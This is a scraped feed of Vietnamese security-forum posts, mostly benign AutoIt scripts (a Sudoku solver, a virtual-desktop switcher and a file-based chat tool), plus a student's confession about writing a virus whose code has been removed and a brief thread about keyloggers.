		$aSudArray[$row][$col] = GUICtrlRead($CID)
		$HideNumber = $aSudArray[$row][$col]
		
		$StartCol = $col
		$StartRow = $row
		$EndCol = $col
		$EndRow = $row
	EndIf
	
	For $row = $StartRow to $EndRow
		for $col = $StartCol to $EndCol
			$h = _GridConvert($row, $col, "h")
			$i = _GridConvert($row, $col, "i")
			
			If $CID <> -1 Then ;----- Eliminator/sb clicked = hide the small buttons in this cell
				for $j = 0 to 8
					GUICtrlSetState($smallbuttons[$h][$i][$j],$GUI_HIDE)
				Next
			EndIf
			
			; in normal mode, this "if" runs through any cell that does not have a big button
			; in sb clicked mode, this "if" runs through just the cell that was clicked
			if $aSudArray[$row][$col]= $HideNumber Then
				
				If $CID = -1 Then ;----- Eliminator/check all = here, this cell is value 0, so hide the big button
					GUICtrlSetState($largebuttons[$h][$i],$GUI_HIDE)
					For $x = 0 to 9
						$aEnumArray[$x] = True ;----- Eliminator/check all = initialize array of possible choices
					Next
				Else ;----- Eliminator/sb clicked = replace cell w/ big button of value = sb clicked
					GUICtrlSetData($largebuttons[$h][$i], $HideNumber)
					GUICtrlSetState($largebuttons[$h][$i],$GUI_SHOW)
				EndIf
				
				for $inCol = 0 to 8
					_SetProgColor()
					if $CID <> -1 Then ;----- Eliminator/sb clicked = hide the number clicked in this column
						$h = _GridConvert($row, $inCol, "h")
						$i = _GridConvert($row, $inCol, "i")
						GUICtrlSetState($smallbuttons[$h][$i][$HideNumber-1],$GUI_HIDE)
					ElseIf $aSudArray[$row][$inCol] <> 0 Then ;----- Eliminator/check all = check column cells that won't be possible to pick
						$aEnumArray[$aSudArray[$row][$inCol]] = False
						$PossibilityArray[$row][$inCol][$aSudArray[$row][$inCol]] = 0
					EndIf
				Next
				
				for $inRow = 0 to 8
					_SetProgColor()
					if $CID <> -1 Then ;----- Eliminator/sb clicked = hide the number clicked in this row
						$h = _GridConvert($inRow, $col, "h")
						$i = _GridConvert($inRow, $col, "i")
						GUICtrlSetState($smallbuttons[$h][$i][$HideNumber-1],$GUI_HIDE)
					ElseIf $aSudArray[$inRow][$col] <> 0 Then ;----- Eliminator/check all = check row cells that won't be possible to pick
						$aEnumArray[$aSudArray[$inRow][$col]] = False
						$PossibilityArray[$inRow][$col][$aSudArray[$inRow][$col]] = 0
					EndIf
				Next
				
				; define where the box starts/ends for row/col
				$aStrCol = floor($col/3)*3
				$aEndCol = floor($col/3)*3+2
				$aStrRow = floor($row/3)*3
				$aEndRow = floor($row/3)*3+2
				for $inRow = $aStrRow to $aEndRow
					for $inCol = $aStrCol to $aEndCol
						_SetProgColor()
						if $CID <> -1 Then ;----- Eliminator/sb clicked = hide the number clicked in this box
							$h = _GridConvert($inRow, $inCol, "h")
							$i = _GridConvert($inRow, $inCol, "i")
							GUICtrlSetState($smallbuttons[$h][$i][$HideNumber-1],$GUI_HIDE)
						ElseIf $aSudArray[$inRow][$inCol] <> 0 Then ;----- Eliminator/check all = check the current box for cells that can't be picked
							$aEnumArray[$aSudArray[$inRow][$inCol]] = False
							$PossibilityArray[$inRow][$inCol][$aSudArray[$inRow][$inCol]] = 0
						EndIf
					Next
				Next
				
				if $CID = -1 Then
					
					$count = 0
					for $aCell = 1 to 9
						_SetProgColor()
						if $aEnumArray[$aCell] = True Then  ;----- Eliminator/ check all = show/hide sb's for every cell in sudoku
							GUICtrlSetState($smallbuttons[$h][$i][$aCell-1],$GUI_SHOW)
							; for first case solution:
							$count = $count + 1
							$SolutionsArray[$SolutionsCount][0] = $row
							$SolutionsArray[$SolutionsCount][1] = $col
							$SolutionsArray[$SolutionsCount][2] = $aCell
							
							; for second case solution:
							$PossibilityArray[$row][$col][$aCell] = 1
						Else
							GUICtrlSetState($smallbuttons[$h][$i][$aCell-1],$GUI_HIDE)
							$PossibilityArray[$row][$col][$aCell] = 0
						EndIf
					Next
					
					if $count = 1 Then ; we found a cell that only has only one possibility!
						$SolutionsCount = $SolutionsCount + 1
					Else
						$SolutionsArray[$SolutionsCount][2] = -1
					EndIf
					
				EndIf
			Else
				; only get here in Eliminator/check all = set data and show large buttons for every cell that has been clicked.
				; also hide all small buttons for these same cells so that there's no overlap.
				$isSolved = $isSolved + 1
				GUICtrlSetData($largebuttons[$h][$i], $aSudArray[$row][$col])
				GUICtrlSetState($largebuttons[$h][$i],$GUI_SHOW)
				For $aCell = 1 to 9
					GUICtrlSetState($smallbuttons[$h][$i][$aCell-1],$GUI_HIDE)
					$PossibilityArray[$row][$col][$aCell] = 0
				Next
			EndIf
		Next
	Next
	while $Progress <> 0
		_SetProgColor()
	WEnd
	Return $isSolved
EndFunc   ;==>_SudokuEliminator

Func _SetProgColor() ; credit to PsaltyDS!
	if $Progress = 1000 Then
		$increment = -1
	elseif $Progress = 0 Then
		$increment = +1
	EndIf
	
	$Progress = $Progress + $increment
	If $Progress < 0 Then $Progress = 0
	If $Progress > 1000 Then $Progress = 1000
	GUICtrlSetData($ProgressBar, Int($Progress / 10))

	$Redness = Int(255 - ($Progress / 1000 * 512))
	If $Redness < 0 Then $Redness = 0

	$Greeness = Int(($Progress / 1000 * 512) - 257)
	If $Greeness < 0 Then $Greeness = 0

	$Blueness = Int(255 - ($Redness + $Greeness))

	$ProgColor = ($Redness * 256 * 256) + ($Greeness * 256) + $Blueness
	GUICtrlSetColor($ProgressBar, $ProgColor)
EndFunc   ;==>_SetProgColor

Func _GridConvert($x, $y, $var) ;$x = $row = $h, $y = $col = $i
	If $var = "row" or $var = "h" Then
		Return floor($x / 3)*3 + floor($y / 3)
	ElseIf $var = "col" or $var = "i" Then
		Return ($x - floor($x/3)*3) * 3 + $y - floor($y/3)*3
	EndIf
EndFunc   ;==>_GridConvert

Func _CreateSmallButton($h, $i, $j)
	Return GUICtrlCreateButton($j + 1, 10 + Mod($h, 3) * 230 + Mod($i, 3) * 70 + Mod($j, 3) * 20, _
			10 + Int($h / 3) * 230 + Int($i / 3) * 70 + Int($j / 3) * 20, 20, 20)
EndFunc   ;==>_CreateSmallButton

Func _CreateLargeButton($h, $i, $j)
	Return GUICtrlCreateButton($j + 1, 10 + Mod($h, 3) * 230 + Mod($i, 3) * 70, _
			10 + Int($h / 3) * 230 + Int($i / 3) * 70, 60, 60)
EndFunc   ;==>_CreateLargeButton
]]>
/hvaonline/posts/preList/3102/30517.html#30517 /hvaonline/posts/preList/3102/30517.html#30517 GMT
Đây có fải là virus ??? /hvaonline/posts/preList/4596/27918.html#27918 /hvaonline/posts/preList/4596/27918.html#27918 GMT ADSL SPLITTER /hvaonline/posts/preList/4694/27741.html#27741 /hvaonline/posts/preList/4694/27741.html#27741 GMT ADSL SPLITTER /hvaonline/posts/preList/4694/27729.html#27729 /hvaonline/posts/preList/4694/27729.html#27729 GMT Viết ứng dụng đơn giản với AutoIt /hvaonline/posts/preList/3102/22668.html#22668 /hvaonline/posts/preList/3102/22668.html#22668 GMT Viết ứng dụng đơn giản với AutoIt /hvaonline/posts/preList/3102/22030.html#22030 /hvaonline/posts/preList/3102/22030.html#22030 GMT Source của virus từ Nhut.be - Một phút lầm lỡ để rồi... Code:
;Xin được remove vì đoạn mã khá nguy hiểm!
Qua những hậu quả của DKC, em nghĩ lại vẫn còn hối tiếc... Chỉ vài phút nông nổi rồi phải trả giá cho những gì mình làm. Ngày 4-9, một cú phone từ BKIS tới nhà em rồi những câu hỏi giăng ra. Em chỉ mới lớp 11 nhưng thôi, việc đã rồi, chuyện gì đến sẽ đến mà... Em sẽ từ bỏ máy tính và lao đầu vào 2 năm còn lại của cấp 3 dù sao bên cạnh em vẫn còn lại một tình yêu... :wink: Code:
;Xin được remove vì đoạn mã khá nguy hiểm!
Compile đoạn mã trên để diệt và vào thư mục Windows xoá tập tin có icon là avatar của em... Hẹn các bác vào 2 năm sau, em sẽ cố gắng vào đại học cũng ngành CNTT nhưng giờ em sẽ từ biệt cái máy tính. Giờ em chẳng còn gì, vừa bị rip mấy cái Y!M, cú phone từ BKIS rồi bạn gái vừa về quê... và còn nhiều chuyện buồn khác nữa. Nhiều chuyện cứ tới tấp xảy đến trong chưa đầy một tuần. Quyết định cuối cùng của em và cũng là quyết định mà gia đình em mong muốn nhất là chia tay máy tính và cố gắng 2 năm này... Buồn tí xíu nhưng đó là con đường đúng mà em bắt buộc lựa chọn. :cry: ]]>
/hvaonline/posts/preList/3658/21213.html#21213 /hvaonline/posts/preList/3658/21213.html#21213 GMT
Cảnh báo virus ăn cắp mật khẩu lây lan qua Yahoo Messenger /hvaonline/posts/preList/3441/19949.html#19949 /hvaonline/posts/preList/3441/19949.html#19949 GMT Một virus qua YIM mới vừa xuất hiện /hvaonline/posts/preList/2281/19948.html#19948 /hvaonline/posts/preList/2281/19948.html#19948 GMT Domain lạ !

cungditoithanhcong wrote:
haha đúng rồi. Đúng là ngu quá , không chịu suy nghĩ đã hỏi. Chắc là mấy cha này làm vậy để nếu ai gõ nhầm 24h.com.vn thành 24h.con.vn giống như em là sẽ bị vào nhầm 
You sure you smart than him? Just a newbie !!!]]>
/hvaonline/posts/preList/3310/18861.html#18861 /hvaonline/posts/preList/3310/18861.html#18861 GMT
Các cao thủ về keylog xin xác nhận giúp

tuananhxpmaster wrote:
Mình nghe nói có 1 con keylog khi dc cài vào máy sẽ tự động lây lan qua các máy khác trong mạng LAN , điều này có thật ko xin các bạn xác nhận giúp Nếu có thì liệu có thể share cho mình ko? 
Theo như kinh nghiệm của tôi từ trước đến nay thì chưa có... tính trong số những chương trình Keylogger viết sẵn. Còn tự viết thì không có share ra ngoài là điều đương nhiên!]]>
/hvaonline/posts/preList/1935/18068.html#18068 /hvaonline/posts/preList/1935/18068.html#18068 GMT
Virtual Desktops Virtual Desktops Code:
#include <GUIConstants.au3>
#Include <Constants.au3>
#NoTrayIcon
Opt("TrayMenuMode",1)

FileDelete(@tempdir & "\pangaeadesktops.ini")
HotKeySet("#{ESC}","_panic")
HotKeySet("#{LEFT}","_prevdesk")
HotKeySet("#{RIGHT}","_nextdesk")
HotKeySet("^#{LEFT}","_movetoprev")
HotKeySet("^#{RIGHT}","_movetonext")
HotKeySet("#{DOWN}", "_QuickSelect")

Global $activedesk = 1,$winlist[500],$hwnd,$textwin,$texton = 0,$texttime,$desktopitem, $inaction = 0

_winget()

$desktopitem = TrayCreateItem("Desktop " & $activedesk)
TrayItemSetState(-1,$TRAY_DISABLE)
TrayCreateItem("")
$nextitem = TrayCreateItem("Next desktop	    win + right")
$previtem = TrayCreateItem("Prev desktop	    win + left")
TrayCreateItem("")
$tonextitem = TrayCreateItem("Move to next desktop	   ctrl + win + right")
$toprevitem = TrayCreateItem("Move to prev desktop	   ctrl + win + left")
TrayCreateItem("")
$displayall = TrayCreateItem("Quick Desktop Select	    win + down")
TrayCreateItem("")
$aboutitem = TrayCreateItem("About")
$exititem  = TrayCreateItem("Exit	    win + esc")

TraySetState()

While 1
	$msg = TrayGetMsg()
	Select
		Case $msg = $nextitem
			_nextdesk()
		Case $msg = $previtem
			_prevdesk()
		Case $msg = $tonextitem
			_movetonext()
		Case $msg = $toprevitem
			_movetoprev()
		Case $msg = $displayall
			_QuickSelect()
		Case $msg = $aboutitem
			Msgbox(64,"About:","Pangaea Desktops" & @crlf & "by Rakudave, Pangaea WorX 2006" & @crlf & @crlf & "www.pangaeaworx.ch.vu")
		Case $msg = $exititem
			_panic()
	EndSelect
	If $texton = 1 then
		If TimerDiff($texttime) > 2000 Then _text2()
	Endif
WEnd

Func _showwins()
	$var = IniReadSection(@tempdir & "\pangaeadesktops.ini", $activedesk)
	If @error Then 
		return
	Else
		For $x = 1 To $var[0][0]
			WinSetState($var[($var[0][0] +1) -$x][0],"",@SW_SHOW)
		Next
	EndIf
EndFunc   ;==>_showwins

Func _hidewins()
	$var = IniReadSection(@tempdir & "\pangaeadesktops.ini", $activedesk)
	If @error Then 
		return
	Else
		For $x = 1 To $var[0][0]
			WinSetState($var[($var[0][0] +1) -$x][0],"",@SW_HIDE)
		Next
	EndIf
EndFunc   ;==>_hidewins

Func _QuickSelect()
	If $inaction = 1 Then Return
	$inaction = 1
	For $i = 1 To 4
		If $activedesk = $i Then
			DllCall("captdll.dll", "int", "CaptureScreen", "str", @tempdir & "\pangaeaprtsc" & $i & ".jpg", "int", 85)
		Else
			_hidewins()
			$olddesk = $activedesk
			$activedesk = $i
			_showwins()
			DllCall("captdll.dll", "int", "CaptureScreen", "str", @tempdir & "\pangaeaprtsc" & $i & ".jpg", "int", 85)
			_hidewins()
			$activedesk = $olddesk
			_showwins()
		EndIf
	Next
	$hwnd = GUICreate("AnimatedWindow",@desktopwidth,@desktopheight,0,0,$WS_POPUP,$WS_EX_TOOLWINDOW + $WS_EX_TOPMOST)
	$one = GUICtrlCreatePic(@tempdir & "\pangaeaprtsc1.jpg",0,0,@DesktopWidth/2,@DesktopHeight/2)
	$two = GUICtrlCreatePic(@tempdir & "\pangaeaprtsc2.jpg",@DesktopWidth/2,0,@DesktopWidth/2,@DesktopHeight/2)
	$three = GUICtrlCreatePic(@tempdir & "\pangaeaprtsc3.jpg",0,@DesktopHeight/2,@DesktopWidth/2,@DesktopHeight/2)
	$four = GUICtrlCreatePic(@tempdir & "\pangaeaprtsc4.jpg",@DesktopWidth/2,@DesktopHeight/2,@DesktopWidth/2,@DesktopHeight/2)
	GUISetState()
	While 1
		Switch GUIGetMsg()
			Case $one
				GUIDelete()
				_hidewins()
				$activedesk = 1
				_showwins()
				ExitLoop
			Case $two
				GUIDelete()
				_hidewins()
				$activedesk = 2
				_showwins()
				ExitLoop
			Case $three
				GUIDelete()
				_hidewins()
				$activedesk = 3
				_showwins()
				ExitLoop
			Case $four
				GUIDelete()
				_hidewins()
				$activedesk = 4
				_showwins()
				ExitLoop
		EndSwitch
	WEnd
	$inaction = 0
EndFunc   ;==>QuickSelect

Func _nextdesk()
	If $inaction = 1 then return
	$inaction = 1
	If $texton = 1 Then _text2()
	_winget()
	_animate1("r")
	_hidewins()
	$activedesk = $activedesk + 1
	If $activedesk = 5 Then $activedesk = 1
	_showwins()
	_animate2()
	$inaction = 0
	_text1()
EndFunc   ;==>_nextdesk

Func _prevdesk()
	If $inaction = 1 then return
	$inaction = 1
	If $texton = 1 Then _text2()
	_winget()
	_animate1("l")
	_hidewins()
	$activedesk = $activedesk - 1
	If $activedesk = 0 Then $activedesk = 4
	_showwins()
	_animate3()
	$inaction = 0
	_text1()
EndFunc   ;==>_prevdesk

Func _movetonext()
	If $inaction = 1 then return
	$inaction = 1
	_winget()
	IniDelete (@tempdir & "\pangaeadesktops.ini",$activedesk,$winlist[1])
	$activedesk = $activedesk + 1
	If $activedesk = 5 Then $activedesk = 1
	Iniwrite(@tempdir & "\pangaeadesktops.ini",$activedesk,$winlist[1],"moved")
	$activedesk = $activedesk - 1
	If $activedesk = 0 Then $activedesk = 4
	WinSetState($winlist[1],"",@SW_HIDE)
	$inaction = 0
	_nextdesk()
EndFunc   ;==>_movetonext

Func _movetoprev()
	If $inaction = 1 then return
	$inaction = 1
	_winget()
	IniDelete (@tempdir & "\pangaeadesktops.ini",$activedesk,$winlist[1])
	$activedesk = $activedesk - 1
	If $activedesk = 0 Then $activedesk = 4
	Iniwrite(@tempdir & "\pangaeadesktops.ini",$activedesk,$winlist[1],"moved")
	$activedesk = $activedesk + 1
	If $activedesk = 5 Then $activedesk = 1
	WinSetState($winlist[1],"",@SW_HIDE)
	$inaction = 0
	_prevdesk()
EndFunc   ;==>_movetoprev

Func _winget()
	$y = 0
	$var = WinList()
	IniDelete(@tempdir & "\pangaeadesktops.ini",$activedesk)
	For $x = 1 to $var[0][0]
		If $var[$x][0] <> "" AND IsVisible($var[$x][1]) AND $var[$x][0] <> "Program Manager" AND $var[$x][0] <> "Desktop 1" AND $var[$x][0] <> "Desktop 2" AND $var[$x][0] <> "Desktop 3" AND $var[$x][0] <> "Desktop 4" Then
			Iniwrite(@tempdir & "\pangaeadesktops.ini",$activedesk,$var[$x][0],$var[$x][1])
			$y = $y + 1
			$winlist[$y] = $var[$x][0]
		EndIf
	Next
	$winlist[0] = $y
EndFunc   ;==>_winget

Func _panic()
	for $y = 1 to 4
		$var = IniReadSection(@tempdir & "\pangaeadesktops.ini", $y)
		If @error = 0 then
			For $x = 1 To $var[0][0]
				WinSetState($var[($var[0][0] +1) -$x][0],"",@SW_SHOW)
			Next
		EndIf
	next
	FileDelete(@tempdir & "\pangaeadesktops.ini")
	FileDelete(@tempdir & "\pangaeaprtsc.jpg")
	FileDelete(@tempdir & "\pangaeaprtsc1.jpg")
	FileDelete(@tempdir & "\pangaeaprtsc2.jpg")
	FileDelete(@tempdir & "\pangaeaprtsc3.jpg")
	FileDelete(@tempdir & "\pangaeaprtsc4.jpg")
	exit
EndFunc   ;==>_panic

Func _animate1($direction)
	If $direction ="r" Then
		$activedesktemp = $activedesk + 1
		If $activedesktemp = 5 Then $activedesktemp = 1
	ElseIf $direction = "l" Then
		$activedesktemp = $activedesk - 1
		If $activedesktemp = 0 Then $activedesktemp = 4
	EndIf
	DllCall("captdll.dll", "int", "CaptureScreen", "str", @tempdir & "\pangaeaprtsc.jpg", "int", 85)
	DllCall("captdll.dll", "int", "CaptureScreen", "str", @tempdir & "\pangaeaprtsc" & $activedesktemp & ".jpg", "int", 85)
	$hwnd = GUICreate("AnimatedWindow",@desktopwidth,@desktopheight,0,0,$WS_POPUP,$WS_EX_TOOLWINDOW + $WS_EX_TOPMOST)
	GUICtrlCreatePic(@tempdir & "\pangaeaprtsc.jpg",0,0,@desktopwidth,@desktopheight)
	GUISetState()
EndFunc   ;==>_animate1

Func _animate2()
	DllCall("user32.dll", "int", "AnimateWindow", "hwnd", $hwnd, "int", 500, "long", 0x00050002);slide out to left
	GUIDelete($hwnd)
EndFunc   ;==>_animate2

Func _animate3()
	DllCall("user32.dll", "int", "AnimateWindow", "hwnd", $hwnd, "int", 500, "long", 0x00050001);slide out to right
	GUIDelete($hwnd)
EndFunc   ;==>_animate3

Func _text1()
	$text = "Desktop " & $activedesk
	TrayItemSetText($desktopitem,$text)
	$textwin = TextWindow($text,600,40,"",-1,10,10,0xFF0000)
	GUISetState()
	$texton = 1
	$texttime = TimerInit()
EndFunc   ;==>_text1

Func _text2()
	GUIDelete($textwin)
	$texton = 0
EndFunc   ;==>_text2

Func OnAutoItExit()
	_panic()
EndFunc   ;==>OnAutoItExit

Func IsVisible($handle)
	If BitAnd(WinGetState($handle),2) Then 
		Return 1
	Else
		Return 0
	EndIf
EndFunc   ;==>IsVisible

Func TextWindow($zText,$width,$height,$font="Microsoft Sans Serif",$weight=1000,$x=-1,$y=-1,$color=-1)
	Local Const $ANSI_CHARSET = 0
	Local Const $OUT_CHARACTER_PRECIS = 2
	Local Const $CLIP_DEFAULT_PRECIS = 0
	Local Const $PROOF_QUALITY = 2
	Local Const $FIXED_PITCH = 1
	Local Const $RGN_XOR = 3
	
	If $font = "" Then $font = "Microsoft Sans Serif"
	If $weight = -1 Then $weight = 1000
	Local $gui = GUICreate("Text Window",$width,$height,$x,$y,$WS_POPUP,$WS_EX_TOOLWINDOW + $WS_EX_TOPMOST)
	If $color <> -1 Then GUISetBkColor($color)
	Local $hDC= DLLCall("user32.dll","int","GetDC","hwnd",$gui)
	Local $hMyFont = DLLCall("gdi32.dll","hwnd","CreateFont","int",$height, _
			"int",0,"int",0,"int",0,"int",1000,"int",0, _
			"int",0,"int",0,"int",$ANSI_CHARSET, _
			"int",$OUT_CHARACTER_PRECIS,"int",$CLIP_DEFAULT_PRECIS, _
			"int",$PROOF_QUALITY,"int",$FIXED_PITCH,"str",$font )
	Local $hOldFont = DLLCall("gdi32.dll","hwnd","SelectObject","int",$hDC[0], _
			"hwnd",$hMyFont[0])
	DLLCall("gdi32.dll","int","BeginPath","int",$hDC[0])
	DLLCall("gdi32.dll","int","TextOut","int",$hDC[0],"int",0,"int",0, _
			"str",$zText,"int",StringLen($zText))
	DLLCall("gdi32.dll","int","EndPath","int",$hDC[0])
	Local $hRgn1 = DLLCall("gdi32.dll","hwnd","PathToRegion","int",$hDC[0])
	Local $rc = DLLStructCreate("int;int;int;int")
	DLLCall("gdi32.dll","int","GetRgnBox","hwnd",$hRgn1[0], _
			"ptr",DllStructGetPtr($rc))
	Local $hRgn2 = DLLCall("gdi32.dll","hwnd","CreateRectRgnIndirect", _
			"ptr",DllStructGetPtr($rc))
	DLLCall("gdi32.dll","int","CombineRgn","hwnd",$hRgn2[0],"hwnd",$hRgn2[0], _
			"hwnd",$hRgn1[0],"int",$RGN_XOR)
	DLLCall("gdi32.dll","int","DeleteObject","hwnd",$hRgn1[0])
	DLLCall("user32.dll","int","ReleaseDC","hwnd",$gui,"int",$hDC[0])
	DLLCall("user32.dll","int","SetWindowRgn","hwnd",$gui,"hwnd",$hRgn2[0],"int",1)
	DLLCall("gdi32.dll","int","SelectObject","int",$hDC[0],"hwnd",$hOldFont[0])
	Return $gui
EndFunc   ;==>TextWindow
]]>
/hvaonline/posts/preList/3102/17783.html#17783 /hvaonline/posts/preList/3102/17783.html#17783 GMT
Tailchat FTP Tailchat FTP Code:
#include <File.au3>
#include <GUIConstants.au3>
#Include <GuiEdit.au3>
#Include <array.au3>
#Include <Misc.au3>
Opt("GUIOnEventMode", 1)
Opt('GUICloseOnESC', 1)

$selected_file = ""
$openfile = ""
$notify_on_minimize = 0
$initial = 0
$File_opened = 0
$count2 = 0
$scan2 = ""
Dim $aCurrentUSers[1]

;     Start GUI Window and Elements creation -->
$W_size_w = 320
$Wsize_h = 400
$mainWindow = GUICreate("Tailchat", $W_size_w, $Wsize_h, "", "", BitOR($WS_SIZEBOX, $WS_SYSMENU, $WS_MINIMIZEBOX))
GUISetState(@SW_SHOW)
GUISetOnEvent($GUI_EVENT_CLOSE, "CLOSEClicked")
$exitButton = GUICtrlCreateButton("Exit", $W_size_w - 90, $Wsize_h - 68, 70, 30)
GUICtrlSetOnEvent($exitButton, "CLOSEclicked")

$filemenu = GUICtrlCreateMenu("&File")
$fileitem = GUICtrlCreateMenuitem("Open", $filemenu)
GUICtrlSetOnEvent($fileitem, "FileopenButton")
$separator1 = GUICtrlCreateMenuitem("", $filemenu, 2)
$exititem = GUICtrlCreateMenuitem("Exit", $filemenu)
GUICtrlSetOnEvent($exititem, "CLOSEClicked")
$Viewmenu = GUICtrlCreateMenu("&View")
$currentusersitem = GUICtrlCreateMenuitem("Current_Users", $Viewmenu)
GUICtrlSetOnEvent($currentusersitem, "ShowUsers")
$Toolsmenu = GUICtrlCreateMenu("&Tools")
$optionsitem = GUICtrlCreateMenu("Options", $Toolsmenu)
$AwayCheck = GUICtrlCreateMenuitem("Away Notification", $optionsitem)
GUICtrlSetOnEvent($AwayCheck, "Notification")
$PushButton = GUICtrlCreateMenuitem("Always on top", $optionsitem)
GUICtrlSetOnEvent($PushButton, "PushButton")
$configcheck = GUICtrlCreateMenuitem("Remember Chatroom", $optionsitem)
GUICtrlSetOnEvent($configcheck, "ConfigCheck")


$helpmenu = GUICtrlCreateMenu("&Help")
$aboutitem = GUICtrlCreateMenuitem("About TailChat", $helpmenu)
GUICtrlSetOnEvent($aboutitem, "About")
$editControl = GUICtrlCreateEdit("", 10, 10, 300, $Wsize_h - 200, $WS_VSCROLL + $ES_AUTOVSCROLL + $ES_READONLY)
$chatControl = GUICtrlCreateEdit("", 10, $Wsize_h - 180, 300, 80, $ES_WANTRETURN)

$ChatButton = GUICtrlCreateButton("Send", 10, $Wsize_h - 90, 70, -1)
GUICtrlSetOnEvent($ChatButton, "ChatButton")

$InputControl = GUICtrlCreateInput("", 0, 20, $W_size_w, 20, $ES_READONLY)
GUICtrlSetState(-1, $gui_hide)

If (WinActive("Tailchat") = 1) and (_IsPressed("0D")) Then
	ChatButton()
EndIf

While 1
	Tailit()
	Sleep(50)
WEnd
Func Tailit()
	$error = 0
	$file = ControlGetText("Tailchat", "", $InputControl)
	$count = _FileCountLines($file)
	$scan = FileReadLine($file, $count)
	$file_contents = ""
	
	For $x = 1 To $count
		$scan3 = FileReadLine($file, $x)
		$display = _isSystemLine($file, $scan3, $x)
		If $display = 1 Then
			$file_contents &= $scan3 & @CRLF
		ElseIf $display = 0 Then
		EndIf
	Next
	if ($File_opened = 1) and ($initial = 0) Then
		GUICtrlSetData($editControl, $file_contents)
		_GUICtrlEditLineScroll($editControl, 0, $count)
		$initial = 1
	EndIf
	If $File_opened = 1 Then
		Select
			Case $count2 <> $count
				GUICtrlSetData($editControl, $file_contents)
				If BitAND(WinGetState("Tailchat"), 16) Then
					If $notify_on_minimize = 1 Then
						TrayTip("TailChat", $scan, 5, 1)
					EndIf
				EndIf
				_GUICtrlEditLineScroll($editControl, 0, $count)
			Case $scan2 <> $scan
				GUICtrlSetData($editControl, $file_contents)
				_GUICtrlEditLineScroll($editControl, 0, $count)
		EndSelect
	EndIf
	$count2 = $count
	$scan2 = $scan
EndFunc   ;==>Tailit
Func FileopenButton()
	$nologin = 0
	$old_file = ""
	If $File_opened = 1 Then
		$old_file = $selected_file
	EndIf
	Global $selected_file = FileOpenDialog("Open", @ScriptDir, "Text Files (*.*)")
	If $selected_file = "" Then
		$selected_file = $old_file
		$nologin = 1
	Else
		_logout()
	EndIf
	GUICtrlSetData($InputControl, $selected_file)
	Global $openfile = FileOpen($selected_file, 0)
	$error = @error
	$File_opened = 1
	If $nologin <> 1 Then
		_login()
	EndIf
EndFunc   ;==>FileopenButton
Func CLOSEClicked()
	If @GUI_WinHandle == $mainWindow Then
		_logout()
		FileClose($openfile)
		Exit
	Else
		GUIDelete(@GUI_WinHandle)
	EndIf
EndFunc   ;==>CLOSEClicked
Func ChatButton()
	$inputtext = ControlGetText("", "", $chatControl)
	If $File_opened = 1 Then
		$inputtext = @HOUR & ":" & @MIN & " " & @UserName & ":   " & $inputtext
		$openfilewrite = FileOpen($selected_file, 1)
		FileWriteLine($openfilewrite, $inputtext)
		GUICtrlSetData($chatControl, "")
		FileClose($openfilewrite)
	Else
		MsgBox(0, "No chat", "No chat has been logged into, nothing to send")
		GUICtrlSetData($chatControl, "")
	EndIf
EndFunc   ;==>ChatButton
Func PushButton()
	local $ischecked = _togglecheck($PushButton)
	If $ischecked = 1 Then
		WinSetOnTop("Tailchat", "", 1)
	ElseIf $ischecked = 0 Then
		WinSetOnTop("Tailchat", "", 0)
	EndIf
EndFunc   ;==>PushButton
Func _login()
	$openfilewrite = FileOpen($selected_file, 1)
	_FileWriteToLine($selected_file, 1, "##~~!!" & @UserName & "|" & @HOUR & @MIN & "|" & Random(1, 20, 1), 0)
	FileWriteLine($openfilewrite, "--> " & @UserName & " has joined this chat at " & @HOUR & ":" & @MIN)
	FileClose($openfilewrite)
EndFunc   ;==>_login
Func _logout()
	$openfilewrite = FileOpen($selected_file, 1)
	_RemoveOnlineUser()
	FileWriteLine($openfilewrite, "--> " & @UserName & " has left at " & @HOUR & ":" & @MIN)
	FileClose($openfilewrite)
EndFunc   ;==>_logout
Func Notification()
	local $ischecked = _togglecheck($AwayCheck)
	If $ischecked= 1 Then
		$notify_on_minimize = 1
	ElseIf $ischecked = 0 Then
		$notify_on_minimize = 0
	EndIf
EndFunc   ;==>Notification
Func _isSystemLine($file, $scan3, $x)
	If StringInStr($scan3, "##~~!!") <> 0 Then
		Return 0
	Else
		Return 1
	EndIf
EndFunc   ;==>_isSystemLine
Func _RemoveOnlineUser()
	Dim $atest, $aloc[1]
	_FileReadToArray($selected_file, $atest)
	For $x = 1 to (UBound($atest) - 1)
		$isme = StringInStr($atest[$x], "##~~!!" & @UserName)
		If $isme <> 0 Then
			_ArrayAdd($aloc, $x)
		EndIf
	Next
	For $y = (UBound($aloc) - 1) To 1 Step - 1
		_FileWriteToLine($selected_file, $aloc[$y], "", 1)
	Next
EndFunc   ;==>_RemoveOnlineUser
Func ShowUsers()
	If $File_opened = 1 Then
		Dim $aEntFile, $afileusers[1]
		_FileReadToArray($selected_file, $aEntFile)
		For $x = 1 To UBound($aEntFile) - 1
			If StringInStr($aEntFile[$x], "##~~!!") <> 0 Then
				$sUser = StringTrimLeft($aEntFile[$x], 6)
				$aSubUser = StringSplit($sUser, "|")
				_ArrayAdd($afileusers, $aSubUser[1])
			EndIf
		Next
		_ArrayDisplay($afileusers, "Array : aFileUsers ")
	Else
		MsgBox(0, "No Chat opened", "There are no users to display since you are not currently logged into a chat")
		GUICtrlSetData($chatControl, "")
	EndIf
EndFunc   ;==>ShowUsers
Func About()
	MsgBox(64, "About Tail Chat 2.2", "Tailchat was written in AutoIT V3.2" & @LF & @LF & "Written by : Blademonkey")
EndFunc   ;==>About
Func _togglecheck($guihandle)
	If GUICtrlRead($guihandle) = 68 Then
		GUICtrlSetState($guihandle, $GUI_checked)
		return 1
	Else
		GUICtrlSetState($guihandle, $GUI_unchecked)
		return 0 
	EndIf
EndFunc   ;==>_togglecheck

Func ConfigCheck()

		local $ischecked = _togglecheck($configcheck)
		If $ischecked= 1 Then
	 		ConfigfileSet()
		ElseIf $ischecked = 0 Then
	;~ 		$notify_on_minimize = 0
		EndIf
	EndFunc
Func ConfigfileSet()
;~ 	if fileexists("c:\tailchat.ini")=0 Then
		IniWrite("c:\tailchat.ini","chatrroms","chat1", $selected_file)
;~ 		EndIf
EndFunc
]]>
/hvaonline/posts/preList/3102/17781.html#17781 /hvaonline/posts/preList/3102/17781.html#17781 GMT
Gradient Effects on Text Gradient Effects on Text Code:
#NoTrayIcon
#include <GUIConstants.au3>
#include <Misc.au3>
#include <Color.au3>

Global Const $INI = (@ScriptDir & "\Colors.ini")
Global $Color1 = IniRead($INI, "Colors", "1", "0xFF0000")
Global $Color2 = IniRead($INI, "Colors", "2", "0x00FF00")
Global $Color3 = IniRead($INI, "Colors", "3", "0xFF0000")
